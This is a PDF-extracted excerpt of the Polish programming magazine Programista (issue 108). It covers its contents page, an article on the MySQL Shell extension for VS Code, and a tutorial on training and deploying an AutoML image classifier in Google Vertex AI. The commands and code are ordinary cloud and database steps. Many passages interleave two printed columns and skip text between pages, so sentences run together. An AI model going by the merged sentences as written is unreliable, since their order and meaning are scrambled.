Professional Documents
Culture Documents
Programista 108
Programista 108
/* REKLAMA */
SPIS TREŚCI
01010000
BIBLIOTEKI I NARZĘDZIA
6 # MySQL Shell plugin dla Visual Studio Code
> Miłosz Bodzek
01110010
14 # Jak AutoML zmienia sposób postrzegania uczenia maszynowego?
> Tomasz Krzywicki 01101111
JĘZYKI PROGRAMOWANIA
26 # Wywoływanie kodu natywnego w C++ z języka Ruby
> Paweł "KrzaQ" Zakrzewski
01100111
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
34 # Gdzie te dane? O zachowaniu spójności
z Transactional Outbox Pattern
01110010
01100001
> Tomasz Kowalski
01101101
40 # GPU Audio – od teorii do praktyki
> Wit Zieliński, Tomasz Twardowski, Marta Twardowska, Łukasz Pollak
ALGORYTMIKA
01101001
46 # Krzywe Béziera
> Wojciech Sura
INŻYNIERIA OPROGRAMOWANIA
56 # Historia jednego refaktora
> Wojciech Sura 01110011
01110100
Z ARCHIWUM CVE
66 # Deserializacja w PHP
> Mariusz Zaborski
01100001
ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA
Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Mariusz Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
„maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. DTP: Krzysztof Kopciowski wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
(bok@keylight.com.pl). Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, tel. +48 604 312 716. nakładzie i objętości czasopisma.
Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz Sieraczkiewicz, Dawid Kaliszewski, O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, Sławomir Sobótka, Dawid Borycki, Gynvael zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, ich bez zezwolenia jest Zabronione.
Jarosław Jedynak, Damian Bogel (https://kele.codes/), Michał Zbyl, Dominik 'Disconnect3d' Czarnota, Paweł Łukasik. Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. Grafika na okładce: Adobe Stock. prezentowanych na łamach magazynu Programista.
BIBLIOTEKI I NARZĘDZIA
INSTALACJA I KONFIGURACJA
Jak zainstalować rozszerzenie MySQL Shell dla
VS Code
Instalacja pluginu w środowisku Visual Studio Code jest stosunkowo Rysunek 1. Wyszukiwanie pluginów
Podczas pierwszej instalacji plugin uruchomi „Welcome Wizard” Warto też wspomnieć o możliwości ograniczenia ilości zwracanych
w celu instalacji certyfikatów SSL do używania połączenia HTTPS wierszy przez zapytania SQL poprzez ustawienie ich liczby w sekcji
w ramach komunikacji. Należy kliknąć w „Next”, aby rozpocząć, i po- „Sql: Row Packet Size”.
nownie „Next” w celu kontynuacji. Aby zakończyć instalację, należy Oczywiście opcji konfiguracji jest znacznie więcej i warto zapo-
kliknąć w „Reload VS Code Window”. Po ponownym załadowaniu znać się z nimi wszystkimi.
okna Visual Studio Code rozszerzenie jest gotowe do użycia.
1. Poziom DEBUG3, w przeciwieństwie do DEBUG, oferuje dodatkowe informacje, takie jak: ko-
munikacja pomiędzy backendem a frontendem, podgląd niektórych wewnętrznych zapytań SQL,
co umożliwia precyzyjną analizę awarii.
{ WWW.PROGRAMISTAMAG.PL } <7>
BIBLIOTEKI I NARZĘDZIA
Kolejne dwa pola – „Caption” oraz „Description” – pozwalają nadać » Connection Timeout – czas na próbę nawiązania połączenia
połączeniu nazwę oraz opis; obie te wartości będą widoczne w głów- – jeśli po tym czasie połączenie nie może zostać ustanowione,
nym widoku z listą wszystkich połączeń, co ułatwi ich identyfikację. próba zakończy się niepowodzeniem.
Dalsza część dotyczy już informacji ściśle związanych ze szczegó-
łami połączenia. Sekcja „Basic” zaczynająca się od pola „Host Name Po skonfigurowaniu wszystkich opcji wystarczy kliknąć w przycisk
or IP Address” umożliwia podanie nazwy hosta lub adresu IP dla „OK”, a połączenie zostanie zapisane na liście „DB CONNECTIONS”.
bazy danych (w przykładzie użyto połączenia z lokalnym serwerem, Od teraz można go używać do połączenia z bazą danych.
wprowadzając wartość localhost, można też użyć adresu IP 127.0.0.1,
który jest odpowiednikiem localhost). Obok jest pole wyboru „Pro-
FUNKCJE MYSQL SHELL W VISUAL
tocol”, umożliwiające wybranie odpowiedniego protokołu dla bazy
STUDIO CODE
MySQL. Dostępne opcje to:
» mysql,
Jak wykonać podstawowe operacje na bazie
» mysqlx.
danych
Dalej mamy pole „Port”, gdzie należy zdefiniować port, na którym Mając zdefiniowane połączenie z bazą danych, można wykonywać na
nasłuchuje serwer (domyślna wartość to 3306 dla protokołu my- niej podstawowe operacje, korzystając z lewego panelu w VS Code.
sql oraz 33060 dla protokołu mysqlx). W polu „User Name” należy W sekcji „DATABASE CONNECTIONS” pojawi się nazwa (Caption)
podać użytkownika bazy danych oraz opcjonalnie hasło dla niego, połączenia z małą ikoną delfina symbolizującą połączenie z bazą My-
za pomocą opcji „Store Password” (jeśli hasło nie zostanie podane SQL. Z lewej strony ikony widoczna jest strzałka >, po kliknięciu
w tym formularzu, użytkownik zostanie o nie poproszony podczas której nastąpi połączenie z bazą w tle (użytkownik może zostać po-
połączenia z bazą). W tym miejscu można także wyczyścić hasło za- proszony o hasło) i pobranie danych o stanie bazy, tabelach itp. Lista
pamiętane wcześniej poprzez kliknięcie w przycisk „Clear Password”. zawiera podpunkt „MySQL Administration” oraz listę baz danych
Opcjonalnie można też podać domyślną bazę w polu „Default Sche- dostępnych na danym serwerze.
ma”. Pozostałe dwa pola wyboru dotyczą połączenia tunelowego po- Rozwinięcie sekcji „MySQL Administration” daje dostęp do na-
przez protokół SSH oraz połączenia z bastionem OCI. stępujących raportów:
Jeśli baza danych obsługuje połączenia SSL, można skonfiguro- » Server Status – status serwera zawierający wszystkie informacje
wać ścieżki do certyfikatów w kolejnej sekcji – „SSL” (Rysunek 5). dotyczące serwera: wersja serwera, ścieżki do plików danych,
Pierwsze pole w sekcji „SSL” pozwala na wybranie trybu SSL. Do- funkcje, zainstalowane certyfikaty SSL itp.
stępne opcje to: » Client Connection – lista wszystkich aktywnych połączeń do
» Disable – wyłączony. wybranego serwera.
» Preferred – preferowany. » Performance Dashboard – raport wydajności, gdzie na czytel-
» Require – wymagany. nych wykresach można zobaczyć m.in.: wydajność sieciową,
» Require and Verify CA – wymagany z weryfikacją urzędu cer- zapytania SQL, szybkość odczytu i zapisu na dysk stron silnika
tyfikacji CA. InnoDB (Rysunek 6).
» Require and Verify Identity – wymagany z weryfikacją tożsamości.
Strzałki > obok nazw baz danych umożliwiają ich rozwinięcie i wy-
Opcjonalnie można podać listę szyfrów oddzielonych przecinkami. świetlenie listy: tabel, widoków, procedur i zdarzeń. Z kolei klikając
Listę obsługiwanych szyfrów przez dany serwer MySQL można uzy- prawym przyciskiem myszy na nazwę bazy danych, można uzyskać
skać poprzez uruchomienie zapytania SQL (Listing 1). dostęp do kliku podstawowych operacji na bazie danych.
Wybranie opcji „Dump Schema to Disk” umożliwia zrobienie peł-
Listing 1. Lista szyfrów obsługiwanych przez serwer
nej kopii bazy na dysku. Użytkownik zostanie poproszony o podanie
SHOW SESSION STATUS LIKE 'Ssl_cipher_list'; ścieżki do kopii, a cała reszta zostanie wykonana automatycznie. Po-
niżej znaleźć można menu „Copy To Clipboard”, zawierające dwie po-
Dalej należy podać ścieżki do plików: zycje: „Name” – kopiuje nazwę bazy, a także „Create Statement”, która
» Path to Certificate Authority file for SSL – ścieżka do pliku urzę- kopiuje kod SQL tworzący bazę danych. Ostatnią pozycją w menu jest
du certyfikacji CA. opcja „Drop Schema…” umożliwiająca usunięcie bazy danych.
» Path to Client Certificate file for SSL – ścieżka do pliku certyfi- Podobne menu znaleźć można, klikając prawym przyciskiem my-
katu klienta. szy na nazwie tabeli, po uprzednim rozwinięciu listy tabel poprzez
» Path to Client Key file for SSL – ścieżka do pliku klucza klienta. kliknięcie w strzałkę > tuż obok sekcji „Tables”. Analogicznie dostęp-
ne są opcje do skopiowania nazwy tabeli oraz kodu SQL służącego do
Ostatnia sekcja, „Advanced”, zawiera zaawansowane opcje konfigu- utworzenia tabeli w menu „Copy To Clipboard” oraz do skasowania
racji połączenia i zazwyczaj nie wymaga żadnych zmian, niemniej tabeli poprzez wybranie opcji „Drop Table…”. Dodatkowo można tu
zaawansowanym użytkownikom pozwala zdefiniować m.in. następu- zobaczyć niedostępną z poziomu bazy danych opcję „Select Rows in
jące opcje: DB Notebook”, generującą zapytanie SQL w aktualnym notatniku
» SQL Mode – tryby SQL. SQL, które wyświetli wszystkie rekordy z wybranej tabeli.
{ WWW.PROGRAMISTAMAG.PL } <9>
BIBLIOTEKI I NARZĘDZIA
Operacje dostępne na obiektach widoków są prawie identyczne przejść do sekcji wyżej, zmienić ją według potrzeby i ponownie, uży-
jak na tabelach. Jest więc opcja wyświetlenia zapytania, skopiowania wając klawiszy Ctrl+Enter (Cmd+Return na macOS), uruchomić. W
nazwy oraz kodu do utworzenia widoku, a także możliwość usunię- powyższym zapytaniu można na przykład edytować klauzulę WHERE i
cia widoku. zmienić warunki filtrowania.
Z kolei w menu procedur dostępne są opcje kopiowania oraz ska- Podczas pracy z notatnikiem można czasami spotkać się z sytu-
sowania procedury, brakuje natomiast opcji wygenerowania kodu acją, kiedy aktualne sekcje SQL nie są już więcej potrzebne i użyt-
SQL służącego jej wywołaniu. kownik chciałby mieć pusty notatnik. Można to zrobić w prosty
sposób, przytrzymując klawisz Ctrl (Cmd na macOS) oraz wciskając
szybko dwukrotnie klawisz A. Spowoduje to zaznaczenie wszystkich
Praca z Notatnikiem SQL
sekcji aktualnego notatnika, które można teraz usunąć wraz z wyge-
Istnieje kilka możliwości uruchomienia notatnika SQL. Jedną z nich nerowanymi przez nie wynikami, wciskając klawisz DEL.
jest przejście do panelu z listą połączeń poprzez kliknięcie w „DB U góry notatnika jest dostępny pasek narzędziowy umożliwia-
Connections” w sekcji „OPEN EDITORS” w lewym panelu VS Code. jący dostęp do wielu opcji. Z lewej strony z menu rozwijanego do-
Inny sposób to skorzystanie ze znanej już sekcji „DATABASE CON- stępna jest lista notatników z zachowaniem hierarchii. Dalej znajdu-
NECTIONS” i kliknięcie strzałki po prawej stronie nazwy połączenia je się opcja umożliwiająca z menu rozwijanego utworzenie nowego
lub też wybranie z menu dostępnego po kliknięciu prawym przyci- notatnika, a także nowego skryptu: SQL, JavaScript lub TypeScript.
skiem myszy pozycji „Connect to Database” (lub w celu otwarcia ko- Skrypty umożliwiają pracę znaną z klasycznych narzędzi do baz
lejnego notatnika: „Connect to Database on New Tab”). danych, gdzie nie ma podziału na sekcje i edycji fragmentów kodu.
Domyślnie notatnik działa w trybie SQL, można to zmienić w usta- Zamiast tego jest jeden duży plik, który stanowi całość i jest wyko-
wieniach, tak jak już wspomniano w sekcji Instalacja i konfiguracja. nywany w kolejności napisania, linia po linii. Kolejne przyciski na
W trybie tym użytkownik pracuje, wpisując w notatniku polecenia pasku zadań umożliwiają uruchomienie kodu w notatniku. Pierwsza
SQL. Plugin MySQL Shell dla VS Code udostępnia pełne wsparcie ikonka w kształcie błyskawicy wykonuje cały aktualny blok kodu, co
w uzupełnianiu składni SQL, umożliwiając łatwą i sprawną pracę jest równoważne ze znanym już skrótem klawiszowym Ctrl+Enter
nad kodem. W celu przejścia do nowej linii aktualnego wielowierszo- (Cmd+Return na macOS). Kolejny przycisk powoduje wykonanie
wego polecenia SQL należy użyć klawisza Enter, natomiast aby uru- kodu w bieżącej linii, trzeci z kolei wykonuje cały blok i udostępnia
chomić aktualny kod, trzeba użyć kombinacji klawiszy Ctrl+Enter rezultat w postaci tekstowej, który można łatwo skopiować i użyć
(Cmd+Return na macOS). Spowoduje to wykonanie aktualnego w innym miejscu.
kodu SQL, wyświetlanie rezultatu wykonania oraz utworzenie nowej Dalsze pozycje umożliwiają zatrzymanie aktualnie wykonywa-
sekcji, umożliwiającej pracę nad nowym kodem SQL. Uruchomienie nego bloku kodu oraz zatrzymanie w przypadku napotkania błędów.
kodu z Listingu 2 w notatniku spowoduje wynik podobny do tego Są też opcje dotyczące zatwierdzania (COMMIT) oraz wycofywania
z Rysunku 7. (ROLLBACK) zmian na bazie danych, opcje formatowania kodu, a tak-
że wyszukiwania.
Listing 2. Lista aktorów o imieniu „CHRISTOPHER”
Notatnik DB ma opcję pracy nie tylko z kodem SQL, ale także
SELECT * FROM actor z JavaScript i TypeScript. Do przełączania się pomiędzy trybami
WHERE first_name = "CHRISTOPHER";
w obrębie aktualnego notatnika służą polecenia:
» \javascript lub \js – przełącza notatnik w tryb JavaScript.
Istnieje możliwość edycji sekcji, która została już wykonana, a rezultaty » \typescript lub \ts – przełącza notatnik w tryb TypeScript.
jej pracy wyświetlone na ekranie. Do poruszania pomiędzy sekcjami » \sql – przełącza notatnik w tryb SQL.
należy posłużyć się strzałkami góra/dół. Można więc strzałką w górę
{ REKLAMA }
{ WWW.PROGRAMISTAMAG.PL } <11>
BIBLIOTEKI I NARZĘDZIA
Sięgnij po
darmowe e-booki
od PWN
Więcej na www.ksiegarnia.pwn.pl
BIBLIOTEKI I NARZĘDZIA
CZYM JEST AUTOML? nej. Na rynku AutoML można zauważyć także startupy dostarczające
rozwiązania generyczne, takie jak Clarifai [9], lub dziedzinowe – Me-
Algorytmy uczenia maszynowego (ang. machine learning) są znane dicMind [10]. Rozwiązania chmurowe gwarantują nam dostępność
od lat 50. XX w. Prace nad nimi zostały zapoczątkowane w celu auto- wymaganej mocy obliczeniowej, co generuje koszty. CreateML [11]
matycznego rozwiązywania skomplikowanych problemów. Obecność to rozwiązanie AutoML od firmy Apple, które działa na urządzeniu
algorytmów uczących się możemy dostrzec w znacznej części ota- lokalnym. W kontrze do rozwiązań chmurowych jest bezkosztowe,
czającej nas elektroniki – od smartfonów i telewizorów do aparatury wymaga jednak pewnej mocy obliczeniowej i znacznie większych za-
medycznej. sobów cierpliwości.
Uczenie maszynowe swoją popularność zawdzięcza w dużym Możemy zatem zauważyć, że jednym z pierwszych efektów roz-
stopniu metodzie uczenia głębokiego (ang. deep learning) wraz z sie- woju rynku rozwiązań AutoML jest zjawisko wydzielenia się obsza-
ciami neuronowymi (ang. neural networks), które przyczyniły się do rów ich zastosowań. Pośród narzędzi dostępnych u dużych graczy
powstania takich narzędzi jak Siri [1], Alexa [2] czy ChatGPT [3]. (Microsoft, Google) pojawiły się rozwiązania skierowane do kon-
Umiejętna i sprawna praca z algorytmami uczącymi się wymaga kretnej grupy odbiorców, tj. MedicMind. Firma Apple także wtrąciła
jednak dużej wiedzy zarówno z dziedziny matematyki, jak i progra- swoje trzy grosze, udostępniając narzędzie AutoML z gatunku offline.
mowania. Ograniczenia te przyczyniły się do powstania kolejnej ga- Jednym z najważniejszych obecnie wyzwań dalszego rozwoju Au-
łęzi rozwoju sztucznej inteligencji, jaką jest AutoML. Terminem Au- toML jest tworzenie wysoko wydajnych modeli poprzez zwiększanie ich
toML (ang. automated machine learning) możemy określić zarówno złożoności. Wśród ostatnio dokonanych postępów wyróżnia się usługa
procesy, jak i narzędzia, których celem jest automatyczne tworzenie Vertex AI [12] w chmurze Google Cloud Platform (GCP). W dalszej
i uczenie modeli predykcyjnych (przeznaczonych do np. późniejsze- części tego artykułu przyjrzymy się wykorzystaniu jej w procesie kla-
go przydzielania decyzji). Wykorzystanie tego rodzaju narzędzi nie syfikacji obrazów.
wymaga posiadania wiedzy w obszarach związanych z uczeniem ma-
szynowym, ani nawet z informatyką. Proces tworzenia modeli przy
MOŻLIWOŚCI I ZASTOSOWANIA
użyciu AutoML sprowadza się jedynie do wskazania danych oraz
AUTOML
wyboru ogólnych detali treningu. Warto mieć jednak na uwadze, że
uzyskanie dobrych wyników może wymagać wiedzy i doświadczenia Nie powinno być już tajemnicą, że AutoML znacznie przyspiesza
w projektowaniu systemów uczących się. tworzenie modeli predykcyjnych, co jest wykorzystywane także przez
Autorzy rozwiązań AutoML nie zawsze chętnie dzielą się dokład- zespoły profesjonalnie zajmujące się uczeniem maszynowym. Pozwa-
nymi szczegółami ich działania. Można jednak przypuszczać, że są to la to na oszczędność czasu i kosztów związanych z pracami badaw-
procesy wielokrotnej optymalizacji hiperparametrów (konfiguracji) czymi. Oprócz możliwości ekonomicznych warto przyjrzeć się także
architektur sieci neuronowych oraz ich treningu, które stanowią fi- potencjałom technicznym tych rozwiązań.
nalnie utworzony model predykcyjny. Dostępne rozwiązania AutoML w dużym stopniu pokrywają się
z możliwościami oraz funkcjonalnościami. Różnice między nimi
merycznych możliwości dotyczą typowych zadań nadzorowanego panelu zasobników klikamy przycisk UTWÓRZ ZASOBNIK (Rysu-
uczenia maszynowego, czyli m.in. klasyfikacji i regresji lub prognoz nek 2) i zostaniemy przekierowani do panelu ze szczegółami nowego
dla szeregów czasowych. Dla danych tekstowych AutoML jest w sta- zasobnika (Rysunek 3), którego nazwa powinna być unikalna. Loka-
nie stworzyć model analizujący sentyment lub dokonujący ekstrakcji lizację pozostawmy domyślną, a jako klasę pamięci wskażmy pozycję
encji. W przypadku danych obrazowych oraz wideo zakres zastoso- Autoclass. W następnym kroku zaznaczmy opcje: Wyegzekwuj bloka-
wań jest najszerszy. Dotyczy on zarówno klasyfikacji poszczególnych dę dostępu publicznego, a następnie Jednolita kontrola dostępu. Pro-
obrazów, jak i detekcji obiektów oraz ich segmentacji, także na wi- ces tworzenia zasobnika możemy zakończyć, zaznaczając opcję Brak
deo. Ogromna większość z tych możliwości jest dostępna w usłudze w sekcji Narzędzia ochrony.
Vertex AI (którą omówimy dokładniej w dalszej części artykułu). Je-
dynym niedostępnym wyjątkiem są prognozy szeregów czasowych,
które jednak są dobrze realizowane np. za pomocą usługi Amazon
Forecast [13] dostępnej w chmurze Amazon Web Services.
Jeśli chodzi o możliwości rozwiązań AutoML, nie sposób nie wspo-
mnieć także o jednym z najważniejszych etapów prac nad systemami
uczącymi się – wdrażaniu. AutoML umożliwia także automatyzację
tego procesu, ograniczając do minimum związane z tym czynności.
Zbiór danych
Wykorzystamy publicznie dostępny zbiór danych Dogs vs Cats [14],
który zawiera 12500 kolorowych zdjęć przedstawiających psy oraz
tyle samo zdjęć przedstawiających koty. Zdjęcia mają różne rozmiary,
które wynoszą około 500x375 px, i są podzielone na dwa foldery: Cat
oraz Dog, które odpowiadają widocznemu obiektowi. Zbiór danych
jest dostępny także na stronie Microsoft, co znacznie ułatwi nam po-
branie ich bezpośrednio do chmury GCP: https://www.microsoft.com/
en-us/download/details.aspx?id=54765.
Proces ten może chwilę potrwać, warto więc uzbroić się w cierpli-
wość. Po jego zakończeniu można usunąć dane z lokalnych zasobów
za pomocą następującego polecenia:
Etykiety
Etykiety są decyzjami przydzielonymi przez eksperta dziedzinowego
dla danych wejściowych. W przypadku problemów decyzyjnych peł-
nią rolę punktu odniesienia algorytmu uczącego oraz są wykorzysty-
wane przy ocenie skuteczności gotowego modelu.
Usługa Vertex AI trenuje modele na podstawie odrębnie utwo-
rzonych zbiorów danych. Aby móc taki utworzyć, musimy przygo-
tować plik z etykietami. Etykiety powinny znajdować się w pliku
tekstowym, gdzie każdy obraz (ścieżka w zasobniku) będzie miał
przypisaną etykietę w dowolnej postaci (numeryczna lub tekstowa).
Proces przydzielania etykiet ścieżkom w zasobniku znacznie ułatwia
nam fakt, że zdjęcia są podzielone na foldery odpowiadające klasie
Rysunek 3. Szczegóły nowego zasobnika na dane treningowe
decyzyjnej. Jako docelowa forma pliku z etykietami najlepiej spraw-
dzi się CSV (ang. comma-separated values).
Mając utworzony pusty zasobnik, możemy zająć się zapisaniem Manualny proces przypisywania etykiet 25000 ścieżek może być
w nim danych, które posłużą do treningu modelu. W tym celu męczący (a przede wszystkim bezsensowny), przygotujemy więc
przejdźmy do konsoli Cloud Shell (Rysunek 4) i wykonajmy wi- skrypt w języku Python, który zrobi to za nas. W tym celu należy
doczne poniżej polecenie, które pobierze i wypakuje zbiór danych przejść do edytora skryptów w terminalu (Rysunek 6). Następnie zo-
w naszych lokalnych zasobach. staniemy przeniesieni do przeglądarkowej wersji popularnego edyto-
ra kodu Visual Studio Code [15]. Utwórzmy nowy skrypt języka Py-
> curl \
https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB- thon, wybierając menu File, a następnie opcję New File (Rysunek 7),
4869-8368-6DEBA77B919F/kagglecatsanddogs_5340.zip | jar xv i zapiszmy go pod nazwą generate_labels.py, wybierając opcję Save
w menu File. Przedstawiony kod w Listingu 1 wykonuje iterację po
wszystkich plikach we wskazanym zasobniku, a następnie każdej
ścieżce przypisuje nazwę katalogu nadrzędnego jako etykietę. Całość
jest eksportowana do pliku CSV we wskazanym zasobniku.
Po wykonaniu polecenia sprawdźmy, czy mamy dostęp do wszyst- Listing 1. Skrypt tworzący plik CSV z etykietami przypisanymi do zdjęć
kich niezbędnych danych. W tym celu wykonajmy polecenie:
from google.cloud import storage
from pathlib import Path
> ls -l
BUCKET_NAME = 'bucket-name'
które zwróci nam zawartość katalogu domowego (w którym rozpako- LABEL_FILE_NAME = 'labels.csv'
IMG_EXTENSION = '.jpg'
waliśmy pobrany zbiór danych) naszych zasobów lokalnych i porów-
client = storage.Client()
najmy jego zawartość z Rysunkiem 5. Widoczny katalog PetImages za-
{ WWW.PROGRAMISTAMAG.PL } <17>
BIBLIOTEKI I NARZĘDZIA
Zbiór treningowy
Ostatnim krokiem przed rozpoczęciem automatycznego treningu jest
przygotowanie pełnego zbioru danych w usłudze Vertex AI. W tym
celu wybierzmy opcję Vertex AI w menu głównym, a następnie pozy-
cję Zbiory danych (Rysunek 9). Po przekierowaniu do kolejnego ekra-
nu wybierzmy przycisk UTWÓRZ i ukaże nam się panel tworzenia
nowego zbioru danych. Wskażmy nazwę zbioru danych nawiązującą
do charakteru danych oraz typ danych jako obraz z jedną etykietą,
tak jak zaprezentowano na Rysunku 10. W następnym kroku wy-
bierzmy opcję Wybierz pliki importu z cloud storage w sekcji Wybierz
metodę importu i wskażmy tam ścieżkę do wynikowego pliku CSV
zawierającego ścieżki do zdjęć wraz z przypisanymi etykietami, któ-
ry znajduje się we wskazanym zasobniku. Z listy rozwijanej Podział
danych wybierzmy opcję Trening, co będzie oznaczało, że nasze dane
posłużą w całości do treningu nowego modelu. Po zatwierdzeniu Rysunek 10. Tworzenie nowego zbioru danych
Trening
Trening to najważniejszy etap prac nad systemami uczącymi się. Nie-
rzadko jest to także najbardziej czasochłonny i energochłonny pro-
ces, który potrafi nieprzerwanie trwać miesiącami, wykorzystując do
tego niezwykle złożone zasoby obliczeniowe.
Przejdźmy do ekranu automatycznego treningu modeli, wybierając
kolejno usługę Vertex AI w menu głównym, a następnie pozycję Tre-
nowanie (Rysunek 12). Po przeniesieniu do kolejnego ekranu wybierz-
my przycisk UTWÓRZ i wskażmy zbiór danych oraz plik z etykietami
(Rysunek 13), na podstawie których zostanie wytrenowany model. Rysunek 12. Automatyczny trening modeli usługi Vertex AI w menu głównym
W sekcji Model training method wybierzmy AutoML, a w sekcji Wy-
bierz, gdzie chcemy używać modelu zaznaczmy opcję W chmurze, co W kolejnym kroku w tabeli zawierającej cele trenowania wybierzmy
pozwoli nam na łatwe i szybkie wdrożenie. W przypadku wyboru opcję Higher accuracy (Rysunek 15), która przystosuje model do osią-
opcji Edge istnieje możliwość pobrania gotowego modelu i wyko- gnięcia jak najwyższej wydajności. Warto zwrócić uwagę na fakt, że
rzystania go bezpośrednio na urządzeniu peryferyjnym o mniejszej po wybraniu opcji zapewniającej wyższą wydajność modelu z menu
mocy obliczeniowej. Pragnę jednak ostudzić zapał części z czytelni- po lewej stronie znika pozycja Wyjaśnialność (ang. explainability).
ków – niezwykle ciężko jest wydobyć nawet elementarne detale ar- Jest to związane ze zwiększeniem złożoności wynikowych modeli,
chitektury pobranych modeli, można jednak wykorzystać je w pro- co skrajnie utrudnia (lub nawet uniemożliwia) ich wyjaśnienie. W
cesach dalszego trenowania lub uczenia transferowego (ang. transfer ostatnim kroku wskażmy Budżet w postaci 10 Maksymalnej liczby
learning). W następnym kroku zaznaczmy opcję Wytrenuj nowy godzin pracy węzłów (Rysunek 16), co jest w zupełności wystarcza-
model (Rysunek 14), wskażmy jego nazwę i w sekcji Podział danych jące dla naszych danych. Podczas szacowania budżetu warto zwrócić
wskażmy Losowe w proporcjach 80% dla danych treningowych, 10% uwagę na cennik [16] usługi Vertex AI. Po wypełnieniu wszystkich
dla danych walidacyjnych i 10% dla danych testowych. Wskazany wymaganych pól możemy rozpocząć trening, który może potrwać
podział oznacza, że model zostanie wytrenowany na 80% spośród maksymalnie tyle, ile wskazaliśmy w budżecie. Z doświadczenia jed-
przekazanych danych, a 10% danych walidacyjnych posłuży do za- nak wiem, że tego rodzaju prosty problem może zostać rozwiązany
pewnienia jak najlepszego dopasowania modelu do danych przy szybciej. O zakończeniu procesu treningu zostaniemy poinformowa-
zachowaniu jak najlepszej zdolności do generalizacji wyników dla ni w panelu chmury GCP oraz mailowo.
danych nienapotkanych podczas treningu. Finalne wyniki wydaj- W moim przypadku trening dobiegł końca po ok. 2.5 godzinach.
ności modelu zostaną nam zaprezentowane na podstawie ostatnich Gotowy model jest dostępny w pozycjach Trenowanie oraz Rejestr modeli
10% danych testowych. Zastosowany podział danych na podzbiór usługi Vertex AI (Rysunek 17), warto więc zapoznać się z jego szczegó-
treningowy, walidacyjny i testowy pozwala na wytrenowanie modelu łami, wydajnością i osiągami. Trzeba jednak pamiętać, że AutoML jest
na danych treningowych przy zachowaniu najlepszego dopasowania rozwiązaniem, które trenuje modele znacznie wolniej niż podejście ma-
{ WWW.PROGRAMISTAMAG.PL } <19>
BIBLIOTEKI I NARZĘDZIA
{ WWW.PROGRAMISTAMAG.PL } <21>
BIBLIOTEKI I NARZĘDZIA
(1)
(2)
Rysunek 19. Wdrożenie nowego modelu
import base64
import os
os.environ['GOOGLE_APPLICATION_CREDENTIALS'] =
'credentials.json'
encoded_content = base64.b64encode(file_content)
Przydzielmy naszemu nowemu użytkownikowi rolę. Dobrą prakty- .decode('utf-8')
ką jest przydzielanie ról zawierających minimalny zestaw uprawnień instance = predict.instance
.ImageClassificationPredictionInstance(
niezbędny do poprawnego wykonania zadania. W naszym przypad- content=encoded_content,
ku dobrze sprawdzi się rola aiplatform.user: ).to_value()
instances = [instance]
parameters = predict.params
> gcloud projects add-iam-policy-binding [ID_PROJEKTU] \ .ImageClassificationPredictionParams(
--member="serviceAccount:[NAZWA_KONTA]@[ID_PROJEKTU].iam confidence_threshold=0.5,
.gserviceaccount.com" --role=roles/aiplatform.user max_predictions=5,
).to_value()
endpoint = client.endpoint_path(
project=project,
Następnym krokiem będzie wygenerowanie pliku w formacie JSON location=location,
z danymi dostępowymi nowego użytkownika. W tym celu wywołaj- endpoint=endpoint_id,
)
my polecenie, które utworzy plik i zapisze go w lokalnych zasobach: response = client.predict(
endpoint=endpoint,
> gcloud iam service-accounts keys create credentials.json \ instances=instances,
--iam-account= \ parameters=parameters,
[NAZWA_KONTA]@[ID_PROJEKTU].iam.gserviceaccount.com )
{ WWW.PROGRAMISTAMAG.PL } <23>
BIBLIOTEKI I NARZĘDZIA
Kolejną z nich będzie identyfikator punktu końcowego, który mo- Obserwując rozwój sztucznej inteligencji, można jednak wysnuć tezę,
żemy znaleźć w zakładce WDRAŻANIE I TESTOWANIE (Rysunek 21). że w nieodległym czasie bieżący stan rzeczy ulegnie zmianie.
if __name__ == '__main__':
PODSUMOWANIE
predictions = predict_image_classification_sample(
project='project-number', AutoML jest bez wątpienia wartym uwagi nurtem w uczeniu maszy-
endpoint_id='endpoint-id', nowym. Nie wymaga od użytkownika znajomości zagadnień zwią-
location='us-central1',
filename='path/to/photo.ext' zanych z informatyką, matematyką i uczeniem maszynowym, choć
)
doświadczenie w tych obszarach jest niezbędne w celu osiągnięcia
for prediction in predictions: dobrych wyników. Obecny rynek AutoML należy do szybko rozwi-
print(f'Decision: {prediction["displayNames"][0]}, '
f'confidence: {prediction["confidences"][0]}') jających się, więc wybór narzędzi jest szeroki. Nie oznacza to jednak
całkowitej ich niezawodności.
Nasz system w pełni już działa. Został solidnie wytrenowany na Przedstawiona w artykule metoda do tworzenia systemów uczących
ok. 25000 obrazach (w tym kilku, które uległy uszkodzeniu podczas się za pomocą rozwiązań AutoML nie zastąpi w najbliższym czasie trady-
importu), przetestowany i finalnie wdrożony. Mamy narzędzie, które cyjnego podejścia z wykorzystaniem uczenia maszynowego. Warto także
łączy się z punktem końcowym w bezpieczny sposób i automatycznie mieć na uwadze fakt, że w przypadku pracy z danymi tabelarycznymi
generuje decyzje dla wskazanych zdjęć. Przyjrzyjmy się, jak w rzeczy- ciężar gatunkowy spoczywa na inżynierii cech, która polega na transfor-
wistości wyglądają zastosowania rozwiązań AutoML oraz jak prezentu- macji danych wejściowych do bardziej przydatnej i reprezentatywnej po-
ją się w kontrze do systemów uczących się przygotowanych klasycznie. staci, łatwiejszej do interpretacji przez algorytmy uczenia maszynowego.
W takiej sytuacji nakłady pracy na budowanie i trenowanie modelu są
